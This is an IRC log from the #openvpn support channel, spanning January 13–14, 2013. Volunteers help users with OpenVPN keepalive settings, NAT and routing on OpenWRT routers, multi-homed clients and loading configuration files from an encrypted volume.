03:45 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
04:00 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Read error: Connection reset by peer]
04:01 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
04:05 -!- HyperGlide [~HyperGlid@221.237.123.59] has joined #openvpn
04:10 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Read error: Connection reset by peer]
04:10 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
04:10 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
04:23 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
04:27 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
04:27 -!- catsup [~d@64.111.123.163] has joined #openvpn
04:34 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 255 seconds]
04:52 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
04:55 -!- mdw [~mdw@cpc8-dals18-2-0-cust303.hari.cable.virginmedia.com] has quit [Quit: [self sleep]]
04:59 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:02 -!- pelle2 [~p@nl102-232-231.student.uu.se] has quit [Quit: Reconnecting]
05:02 -!- pelle2 [~p@178-132-78-93.cust.azirevpn.net] has joined #openvpn
05:12 -!- Guest55454 [~LaStik@62.109.16.198] has quit [Ping timeout: 240 seconds]
05:43 -!- LaStik [~LaStik@62.109.16.198] has joined #openvpn
05:44 -!- LaStik is now known as Guest19661
07:20 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has quit [Ping timeout: 248 seconds]
07:45 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
07:56 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
08:10 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has joined #openvpn
08:20 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
08:29 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:29 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Client Quit]
08:30 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:30 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 248 seconds]
08:41 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 252 seconds]
08:42 -!- HyperGlide [~HyperGlid@221.237.123.59] has quit [Remote host closed the connection]
08:46 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
08:46 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Ping timeout: 244 seconds]
09:05 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
09:05 -!- mode/#openvpn [+v s7r] by ChanServ
09:49 -!- b1rkh0ff [~b1rkh0ff@178.77.10.139] has joined #openvpn
09:53 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has left #openvpn []
09:56 -!- b1rkh0ff [~b1rkh0ff@178.77.10.139] has quit [Quit: Leaving]
09:56 -!- b1rkh0ff [~b1rkh0ff@178.77.10.139] has joined #openvpn
10:13 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:22 -!- master_of_master [~master_of@p57B5338D.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
10:23 -!- master_of_master [~master_of@p57B521B9.dip.t-dialin.net] has joined #openvpn
10:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
10:27 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
10:27 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
10:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:31 -!- pie__ [~pie_@unaffiliated/pie-/x-0787662] has quit [Quit: pie__]
10:32 -!- blackness [black@vdsl001.client.black.blackmajic.org] has quit [Ping timeout: 260 seconds]
10:46 -!- blackness [~black@ip98-185-21-138.rn.hr.cox.net] has joined #openvpn
11:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:20 -!- mode/#openvpn [+o krzee] by ChanServ
11:26 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
11:46 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
11:55 -!- JesseWhite [anonymuse@cpe-68-173-27-87.nyc.res.rr.com] has quit []
12:07 -!- Porkepix [~Porkepix@LMontsouris-156-24-53-197.w193-253.abo.wanadoo.fr] has quit [Quit: Computer has gone to sleep.]
12:22 -!- kyrix_ [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:24 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 276 seconds]
12:24 -!- b1rkh0ff [~b1rkh0ff@178.77.10.139] has quit [Ping timeout: 246 seconds]
12:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds]
12:26 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
12:38 -!- b1rkh0ff [~b1rkh0ff@178.77.6.46] has joined #openvpn
12:40 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has joined #openvpn
12:43 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has quit [Quit: Leaving.]
12:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
13:01 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
13:03 -!- s7r1 [~s7r@82.137.15.99] has joined #openvpn
13:04 -!- a_ [~d@64.111.123.163] has joined #openvpn
13:04 -!- Varazir_ [~mircwars@c-94-255-128-179.cust.bredband2.com] has joined #openvpn
13:04 -!- oskie_ [~usel@h-254-83.a218.priv.bahnhof.se] has joined #openvpn
13:04 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
13:04 -!- pelle2_ [~p@178-132-78-93.cust.azirevpn.net] has joined #openvpn
13:04 -!- mjixx_ [~markus@80.67.14.31] has joined #openvpn
13:08 -!- JackWinter1 [~jack@vodsl-4655.vo.lu] has joined #openvpn
13:09 -!- Netsplit *.net <-> *.split quits: kloeri, catsup, oskie, blackness, JackWinter, _quadDamage, +s7r, sitaktif, b1rkh0ff, mjixx,  (+2 more, use /NETSPLIT to show all of them)
13:10 -!- kloeri_ is now known as kloeri
13:16 -!- Netsplit over, joins: b1rkh0ff
13:16 -!- blackness [black@2001:470:8cf8::9] has joined #openvpn
13:18 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
13:22 -!- Tativie [~Tativie@gateway/tor-sasl/tativie] has joined #openvpn
13:23 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 260 seconds]
13:25 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
13:26 < Tativie> After setting up OpenVPN in Linux I am seeing ICMP make connections (I think it looks like a simple ping) at least every 20 seconds (to the same server that is running the OpenVPN). This occurs along side the normal OpenVPN traffic. Is this normal behavior? I was not seeing this behavior when I enabled OpenVPN through the gnome-desktop GUI.
13:29 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
13:30 -!- nonotza [~nonotza@cpe-66-108-94-161.nyc.res.rr.com] has joined #openvpn
13:33 < wh1p> could just be the clinet or server checking that the connection was still active or that the server was still online :?
13:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:38 < kunji> Tativie: There are options for what wh1p suggested in the configuration file, maybe take a look at that and see what yours is supposed to be doing.  I would think it's normal because I believe the sample configurations does it, though don't quote me on that it's based on my somewhat erroneous memory.
13:41 -!- sw0rdfish- [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
13:42 < Tativie> Okay. thanks for the help. :)
13:42 -!- Tativie [~Tativie@gateway/tor-sasl/tativie] has left #openvpn []
13:57 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
13:59 -!- dado_ [~dado@82-149-122-100.wco.wellcom.at] has joined #openvpn
13:59 < dado_> hi
13:59 -!- con3x [~pkinnaird@kobol.geeksoc.org] has joined #openvpn
13:59 < dado_> i have a somewhat unethical question:
14:00 < con3x> Hello, is it possible to route only traffic going out to certain IP's over openVPN from the client side?
14:01 < con3x> (In the config file on OpenWRT)
14:01 < dado_> i have certs and ovpn config file on an encrypted volume, which needs to be mounted with a passphrase under a gnome user session. everytime the user wants to connect he needs to reimport the config since its not there yet when the session is starting. can i somehow use a static configuration which points to a standard set of files, even if they are not there and have it working as soon as the volume is mounted?
14:04 < con3x> dado_: Could you write a script to restart the openVPN service after the drive has been mounted, maybe even write a script that mounts the drive and then restarts openVPN?
14:04 < con3x> I'm not sure if gnome has the necessary hooks for doing it automaticall
14:04 < con3x> /s/automaticall/automatically
14:07 < dado_> con3x: so restarting the openvpn service should actually reset the "missing" files in the stored session in network-manager?
14:11 < con3x> It should try to reload the whole service again, assuming the files exist when it starts then it should load them (Assuming the files are always in the same place when a drive is mounted).
14:11 < dado_> con3x: that could help. thanks. let my try that
14:11 < con3x> No problem :)
14:13 < dado_> i guess the filenames of the certs and config file dont matter?
14:17 < con3x> As long as they are consistant with the way you are starting openVPN
14:17 < dado_> ok
14:17 < dado_> btw, you are right the files get back loaded correctly after restarting the service
14:17 < con3x> So if you are starting openVPN with the command OpenVPN --config vpn.conf
14:17 < dado_> hmm now i need to find a way to restart the service automatically after the volume gets mounted
14:18 < con3x> What OS are you using?
14:18 < dado_> well actually i use the network-manager openvpn plugin for that
14:18 < dado_> debian
14:19 < dado_> im trying to make a secure thin-client style live cd
14:20 < con3x> Sounds cool :)
14:20 < dado_> yeh, but also a lot of work :)
14:21 < dado_> im almost done tho, just need that last thing for the setup
14:21 < con3x> Do the users of the cd have to mount the drive themselves
14:22 < dado_> unfortunately yes
14:22 < dado_> the perfect situation would be to have it mounted at boot time before X starts
14:22 < dado_> but then it needs to ask an encyryption passphrase, where my skills are not enough to make a script for that
14:23 < dado_> but this way the files would already be where they should be..
14:26 < con3x> That doesn't sound too hard, have a look at inittab :).
14:26 < con3x> if not a small script that users can click on that looks like:
14:26 < con3x> mount <Mount options>
14:26 < con3x> /etc/init.d/openvpn restart
14:26 < con3x> should do the trick.
14:28 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has quit [Ping timeout: 255 seconds]
14:28 < dado_> ill look into that
14:29 -!- Controlsfreek [~Controlsf@cpe-69-204-135-43.nycap.res.rr.com] has joined #openvpn
14:30 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has joined #openvpn
14:37 -!- s7r1 [~s7r@82.137.15.99] has quit [Ping timeout: 264 seconds]
14:41 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
14:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
14:53 < dado_> con3x: got it working but in a different way
14:54 < dado_> con3x: having the volume now mounted at boot time, asking for the passphrase. so the gnome session starts and the files are already there. yay!
14:54 < con3x> So when the disk boots it asks for the passphrase? :)
14:54 -!- Porkepix [~Porkepix@lns-bzn-33-82-252-12-99.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
14:55 < dado_> con3x: ye
14:55 < dado_> +s
14:55 < dado_> the file /etc/crypttab did the trick, which is kinda OT for this channel
14:56 < con3x> Yeah, cool you've got it working though :) congrats.
14:56 < dado_> con3x: thx man.
14:58 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:03 < hg_5> hello, i have generated 1 config file for 1 client, how to make another ones without starting over all process?
15:04 < dado_> hg_5: just changing the config file for another user wont do it i guess. the certificate and key needs to be generated
15:05 < hg_5> but if i will start process over certificate will be different than is on server ;o
15:11 < dado_> i assume you are generating the certificates from the server, no?
15:12 < dado_> i use pfsense as openvpn server, with a web interface for generating users and certificates. i dont know how you do it.
15:32 -!- dado_ [~dado@82-149-122-100.wco.wellcom.at] has quit [Read error: Operation timed out]
15:38 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has quit [Quit: Leaving.]
15:39 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
15:53 -!- hg_5_ [~chatzilla@ip-84-39-175-133.free.aero2.net.pl] has joined #openvpn
15:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
15:54 -!- hg_5__ [~chatzilla@91.234.245.245] has joined #openvpn
15:58 -!- hg_5_ [~chatzilla@ip-84-39-175-133.free.aero2.net.pl] has quit [Ping timeout: 255 seconds]
16:05 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:09 -!- _eMaX_ [~eMaX@67-234.197-178.cust.bluewin.ch] has joined #openvpn
16:09 < _eMaX_> hi all
16:11 < _eMaX_> anyone can help me with an openvpn issue here? I've a problem connecting to devices behind my openvpn server. When a client connects, it gets an ip of 172.16.11.100. the openvpn server has .2, and it can ping back to the client (.100) as well as to another machine on the network (.1). From that other machine, I can ping the openvpn server, but not the client (.100). vice-versa, from the client I cannot ping .1. I did set ipforward on the openv
16:22 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 260 seconds]
16:29 -!- ScriptFanix [vincent@2001:910:100b::1] has quit [Ping timeout: 245 seconds]
16:31 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:35 < dioz> routes
16:35 < dioz> but not a openvpn issue
16:37 < _eMaX_> thanks
16:37 < _eMaX_> I'm searching for a whole day now but don't find where to set routes and which
16:38 < dioz> i assume your machines behind your server need to be told
16:38 < dioz> "yo this is how you get here and this is your gateway on this interface"
16:40 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
16:41 < _eMaX_> I basically have <vpn-client: (A) 172.16.11.100>——<vpn-server: (B) 172.16.11.2>——<inet router: (C ) 172.16.11.1, (D) 192.168.1.1>——<some pc: (E) 192.168.1.10>
16:41 < _eMaX_> A can ping B, B can ping A, C, D, E; C can ping B and E, but not A; E can ping B, C D but not A
16:42 < _eMaX_> so I assume the vpn server B needs some route
16:43 < dioz> ipv4 packet forwarding?
16:43 < _eMaX_> enabled on B
16:47 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 252 seconds]
16:48 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
16:48 < _eMaX_> also einfacher gesagt, wenn ich 3 rechner habe, A, B, C. A kann B pingen, aber nicht C. C kann B pingen, aber nicht A. B kann beide pingen. wohin muss welche route?
16:49 < _eMaX_> sorry
16:49 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
16:53 < thermoman> emmanuelux: english?
16:55 < thermoman> the --float option is for the case when the remote endpoint is changing his IP address ... is there an correpsonding option for then the client changes its IP?
16:55 < thermoman> e.g. the server has a fixed IP but the client is on a dynamic uplink and the client ip changes ... afaik the client then times out and reconnect
16:56 < thermoman> but is there the possibility that (at least with udp) the client just sends packets from its new address and the server recognizes this without the need for the client to reconnect?
17:07 -!- _eMaX_1 [~eMaX@213.221.150.68] has joined #openvpn
17:07 -!- sw0rdfish- is now known as sw0rdfish
17:07 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
17:07 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
17:08 -!- _eMaX_ [~eMaX@67-234.197-178.cust.bluewin.ch] has quit [Ping timeout: 252 seconds]
17:08 -!- _eMaX_ [~eMaX@67-234.197-178.cust.bluewin.ch] has joined #openvpn
17:11 -!- _eMaX_1 [~eMaX@213.221.150.68] has quit [Ping timeout: 252 seconds]
17:15 -!- brute11k [~brute11k@89.249.230.77] has quit [Quit: Leaving.]
17:17 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
17:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
17:18 -!- Devastator- [~devas@186.214.14.9] has joined #openvpn
17:18 -!- Devastator- [~devas@186.214.14.9] has quit [Changing host]
17:18 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
17:18 < anth0ny_> I'm trying to set up a openwrt router to use openvpn to connect to another computer.  The openvpn server is working and I can connect to it via tunnelblick on my computer.  I'm using the same .ovpn file for openwork as I am for Tunnelblick, but get a "read UDPv4 [EHOSTUNREACH|EHOSTUNREACH]: No route to host (code=148)" error when I run openvpn --config myvpn.ovpn. Any ideas?
17:19 -!- Devastator- is now known as Devastator
17:26 < anth0ny_> I believe the problem to be with NATing the VPN client traffic to the internet: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE . should eth0 be the driver that has the ip assigned to it when I run ifconfig?
17:31 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
17:31 -!- anth0ny__ [~anth0ny@d207-6-122-180.bchsia.telus.net] has joined #openvpn
17:31 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 252 seconds]
17:38 -!- anth0ny__ [~anth0ny@d207-6-122-180.bchsia.telus.net] has quit [Ping timeout: 255 seconds]
17:38 -!- _eMaX_ [~eMaX@67-234.197-178.cust.bluewin.ch] has quit [Quit: Leaving.]
18:04 -!- nonotza [~nonotza@cpe-66-108-94-161.nyc.res.rr.com] has quit [Quit: nonotza]
18:18 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
18:23 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 264 seconds]
18:36 -!- corretico [~luis@190.211.93.38] has joined #openvpn
18:37 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
18:38 -!- corretico [~luis@190.211.93.38] has quit [Client Quit]
18:38 -!- corretico [~luis@190.211.93.38] has joined #openvpn
18:43 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Quit: This computer has gone to sleep]
18:43 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
18:44 -!- HyperGlide [~HyperGlid@182.149.53.195] has joined #openvpn
18:48 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 240 seconds]
18:58 -!- hg_5__ [~chatzilla@91.234.245.245] has quit [Ping timeout: 276 seconds]
19:22 <+dvl> Looking at getting a new switch, moving my home lan to a faster speed.  Now running at 100M...
19:23 <+dvl> Hmmm, if one port on a switch runs at 100M, that SHOULD NOT affect any other port? e.g. two boxes with 1000M NICs will use that speed...
19:51 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
19:56 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
19:57 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
20:04 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 252 seconds]
20:05 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
20:08 -!- ch1mkey [ch1m@ns203993.ovh.net] has joined #openvpn
20:10 -!- ch1mkey [ch1m@ns203993.ovh.net] has left #openvpn []
20:22 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
20:26 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:52 -!- paccer [uid4847@gateway/web/irccloud.com/x-iggwqzmrrmnhkcai] has joined #openvpn
21:27 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 272 seconds]
21:33 -!- yeshello1here is now known as Winkie
21:33 -!- Winkie [~hi@80.168.239.88] has left #openvpn []
21:42 -!- brute11k [~brute11k@89.249.230.77] has joined #openvpn
22:12 -!- brute11k [~brute11k@89.249.230.77] has quit [Quit: Leaving.]
22:14 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
22:22 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
22:23 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 256 seconds]
23:00 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
23:23 -!- anth0ny_ [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 264 seconds]
23:33 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
23:39 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 240 seconds]
23:39 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
23:45 < anth0ny> I'm finishing up the routed VPN setup on an OpenWRT router that I have. Looking at the howto.html page on the OpenVPN site, it says that I should NAT the VPN client traffic to the internet, using this: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE, with eth0 being the local ethernet interface. I'm not sure that this is the right choice for my router, would someone mind looking at my ifconfig output and letting me know what th
23:45 < anth0ny> ey think is the right choice: http://pastie.org/private/fitmdhshv6zyzxct8p5w ?
23:47 < anth0ny> Not sure if I should use br0, vlan1, or eth0
23:55 < anth0ny> !goal
23:55 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:59 < ngharo> you want the internet-facing interface
--- Day changed Mon Jan 14 2013
00:02 < anth0ny> ngharo, is there a way to test what that is, exactly?
00:02 < anth0ny> there are two eth's and two vlans
00:03 < anth0ny> bra and vlan1 are the only ones with inet addr's
00:03 < ngharo> i'm assuming the vlan with the IP
00:04 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Read error: Connection reset by peer]
00:05 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has joined #openvpn
00:09 -!- anth0ny [~anth0ny@unaffiliated/anth0ny] has quit [Ping timeout: 240 seconds]
00:14 <+pekster> He wants eth0.1 in a standard OpenWRT setup (in case he comes back and I'm not around to notice it)
00:15 <+pekster> And yea, 'ip addr show' would identify it :P
01:18 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
01:34 -!- hydroxyhydride [~bumblebee@c-76-104-129-87.hsd1.wa.comcast.net] has joined #openvpn
01:34 -!- bumblebee [~bumblebee@c-76-104-129-87.hsd1.wa.comcast.net] has joined #openvpn
01:46 -!- bumblebee [~bumblebee@c-76-104-129-87.hsd1.wa.comcast.net] has quit [Ping timeout: 246 seconds]
01:47 -!- hydroxyhydride [~bumblebee@c-76-104-129-87.hsd1.wa.comcast.net] has quit [Ping timeout: 276 seconds]
02:00 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
02:27 -!- brute11k [~brute11k@89.249.230.77] has joined #openvpn
02:47 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
02:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:51 -!- mode/#openvpn [+o vpnHelper] by ChanServ
03:02 -!- thinkHell [~Hell@ks399220.kimsufi.com] has joined #openvpn
03:16 -!- defswork [~andy@141.0.50.105] has joined #openvpn
03:31 -!- dazo_afk is now known as dazo
03:55 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn
03:58 -!- Z_Analyzer [~lipalm@173-164-219-57-SFBA.hfc.comcastbusiness.net] has quit [Quit: Leaving]
04:02 -!- holmen [~holmen@h-30-250.a176.priv.bahnhof.se] has joined #openvpn
04:03 < holmen> Hi, anyone here up for teaching me how to work out my two NIC tunneling problem?
04:04 <+pekster> holmen: You tend to get better results in a channel full of community volunteer support if you just ask your question ;)
04:04 <+pekster> !ask
04:04 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
04:07 < holmen> I have a setup of two physical NIC's in my Ubuntu 12.04 server. NIC #1 is connected to a router that gets EXT IP #1. NIC #2 is i directly connected to the internet and gets EXT IP #2. Now when seting up a openvpn CLIENT with the option "local <EXT IP #2>" the tunnel activates on NIC #1. I have made the corretct routings for NIC #2 and its able to both send and recieve traffic.
04:11 < holmen> To add to this, i am not the server admin of the server im trying to connect to so i cant change settings on the server side.
04:21 <+pekster> holmen: Sorry for the delay, I'm not able to give 100% time to IRC. So you're connecting from an external client to the public IP that doesn't contain the default route on the server?
04:23 -!- Assid [~assid@198.24.140.58] has joined #openvpn
04:23 -!- Assid [~assid@198.24.140.58] has quit [Changing host]
04:23 -!- Assid [~assid@unaffiliated/assid] has joined #openvpn
04:23 < Assid> heya
04:24 < Assid> so i have a openvpn connection which seems to timeout or something.. and it doesnt seem to reconnect on its own..  which results in connectivity issues since im using redirect-gateway
04:25 <+pekster> Assid: the --ping and --ping-restart options (also see the --keepalive helper that abstracts both) will auto-reconnect after contact with the peer is lost
04:27 <+pekster> Note that you need --ping (or --keepalive, which on the server does a push for both options) on *both* ends of the connection (it's okay of course for the server to push this if clients pull it.) The ping is not bi-directional, so the opposing peer needs a --ping for the local peer to mamke use of --ping-restart or --ping-exit options
04:29 < Assid> what if the sevrer doesnt do keepalive or ping
04:30 <+pekster> Then you can't use that option, and there's no way to know if your connection to the peer was severed internal to OpenVPN
04:30 <+pekster> You could write a creative script to do a standard ping to the peer IP and take restart action if it doesn't respond after so many attempts
04:30 <+pekster> But that's kind of ugly and exactly what the --ping/--ping-restart options are designed to handle
04:30 < Assid> yeha i thought the internal ping  does ?
04:31 < Assid> exactly what i meant
04:31 <+pekster> OpenVPN's ping is not an ICMP echo-request (commonly called a "ping" packet in casual network speech)
04:31 <+pekster> It's sent within the OpenVPN control channel
04:32 <+pekster> !keepalive
04:32 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
04:33 -!- Assid|2 [~assid@85.159.236.219] has joined #openvpn
04:33 < Assid|2> ok
04:34 -!- Assid [~assid@unaffiliated/assid] has quit [Disconnected by services]
04:34 -!- Assid|2 is now known as Assid
04:34 -!- Assid [~assid@85.159.236.219] has quit [Changing host]
04:34 -!- Assid [~assid@unaffiliated/assid] has joined #openvpn
04:34 < Assid> hmm
04:34 < holmen> pekster: I'm connecting to a external service, yes. And i want openvpn to tunnel the NIC#2 to that service bu when enabeling the tunnel it goes for the NIC#1 by default. I have added my query on the stack exchange network with full setting files etc. If you want to take a look: http://unix.stackexchange.com/questions/60955/openvpn-struggling
04:34 <@vpnHelper> Title: ubuntu - OpenVPN struggling - Unix and Linux (at unix.stackexchange.com)
04:34 < Assid> ok i think it should work  with keepalive
04:34 < Assid> else will figure something else
04:34 < Assid> btw. anyone here using privateinternetacess ?
04:35 < Assid> im thinking its prone to MITM since they dont use nsCertType=server
04:36 <+pekster> holmen: What do you mean "it goes for the NIC#1 by default?" If the client connects to another interface on the server that has a unique public IP, the server needs to be configured on a network level (outside OpenVPN) to correctly multi-home or it simply won't work
04:37 <+pekster> Assid: I'd need to see a full client config file, but that's possible; it's very easy to implement security software incorrectly
04:38 <+pekster> If their certs are set up properly, you could likely add that option in yourself on the client side
04:38 <+pekster> Some places use the KU/EKU fields instead, or a different solution to the problem of clients posing as a valid server
04:39 < holmen> pekster: Ok, the reasong im doing this is that i only want i specific program to tunnel its traffic through openvpn, to a anonymizer service. And since they are the ones hosting the server, should i ask them for advice?
04:39 < holmen> i =1
04:41 <+pekster> holmen: Oh, is your client the one that's multi-homed?
04:41 < holmen> Yes, if you by that mean that its hte one with two NIC's
04:44 <+pekster> Ah, okay. The issue is your routing table. 'ip route show' will identify your default gateway out eth0, I'd expect
04:45 <+pekster> To multi-home like that, you need to define routing rules to identify traffic that needs to be routed to a gateway on eth1, which generally requires a separate routing table and 'ip rule add ...' rules to identify which traffic to send to that lookup table
04:45 < holmen> i have already added that information to the routing tables
04:46 <+pekster> 'ip route show table all' has your extra tables? and 'ip rule show' has rules to split traffic between them?
04:47 <+pekster> holmen: You should use -I $pub_ip_of_eth1 instead on your ping
04:47 <+pekster> Make sure that works first
04:48 <+pekster> If not, you have broken multi-homing
04:48 <+pekster> If you need it, here's LARTC's howto on advanced routing: http://lartc.org/howto/
04:48 <@vpnHelper> Title: Linux Advanced Routing & Traffic Control HOWTO (at lartc.org)
04:49 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
04:49 < holmen> Thank you! I'll check this and get back to you.
04:50 <+pekster> For example, I have a server inside my network with 2 IPs; if I tcpdump the interface, I can watch it use different sources (eg: 'tcpdump -pni eth2 icmp') when I do 'ping -I 10.0.0.20 kernel.org' verses 'ping -I 10.0.0.21 kernel.org'. Make sure it works as expected on your setup (ofc, change tcpdump interfaces for your test since it goes across 2 different adapters)
